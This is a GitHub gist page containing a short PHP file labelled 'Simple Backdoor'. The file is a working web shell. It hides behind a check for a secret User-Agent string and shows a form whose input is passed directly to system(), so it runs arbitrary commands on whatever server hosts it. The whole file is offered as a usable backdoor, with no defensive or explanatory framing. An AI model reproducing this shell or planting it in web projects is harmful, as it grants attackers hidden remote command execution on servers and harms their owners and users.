Skip to content

Instantly share code, notes, and snippets.

@rummykhan

rummykhan/rummykhan.php

Last active April 11, 2016 16:26
Show Gist options
  • Save rummykhan/074027c3ee2895b0165ee30fecae0118 to your computer and use it in GitHub Desktop.
Save rummykhan/074027c3ee2895b0165ee30fecae0118 to your computer and use it in GitHub Desktop.
Download ZIP
Simple Backdoor
Raw
rummykhan.php
<?php isset($_SERVER['HTTP_USER_AGENT']) ? ($_SERVER['HTTP_USER_AGENT'] !== 'Ch3rn0by1' ? die('<center><h1>FcUk Off Moron</h1></center>') : '') : die('<center><h1>FcUk Off Moron</h1></center>'); ?>
<!DOCTYPE html>
<html>
<head>
<title>Console</title>
<link rel="stylesheet" type="text/css" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/bootstrap.min.css">
</head>
<body class="container">
<br>
<br>
<br>
<div class="panel panel-warning">
<div class="panel-heading">
Welcome Home!
</div>
<div class="panel-body">
<form method="POST">
<div class="form-group">
<label for="command">Command</label>
<input type="text" class="form-control" name="command">
</div>
<div class="btn-group">
<input type="submit" name="submit" value="Submit" class="btn btn-warning">
</div>
</form>
</div>
<div class="panel-footer">
<?php isset($_POST['submit']) ? (isset($_POST['command']) ? system($_POST['command']) : 'No command specified') : 'Welcome back rummykhan!'; ?>
</div>
</div>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment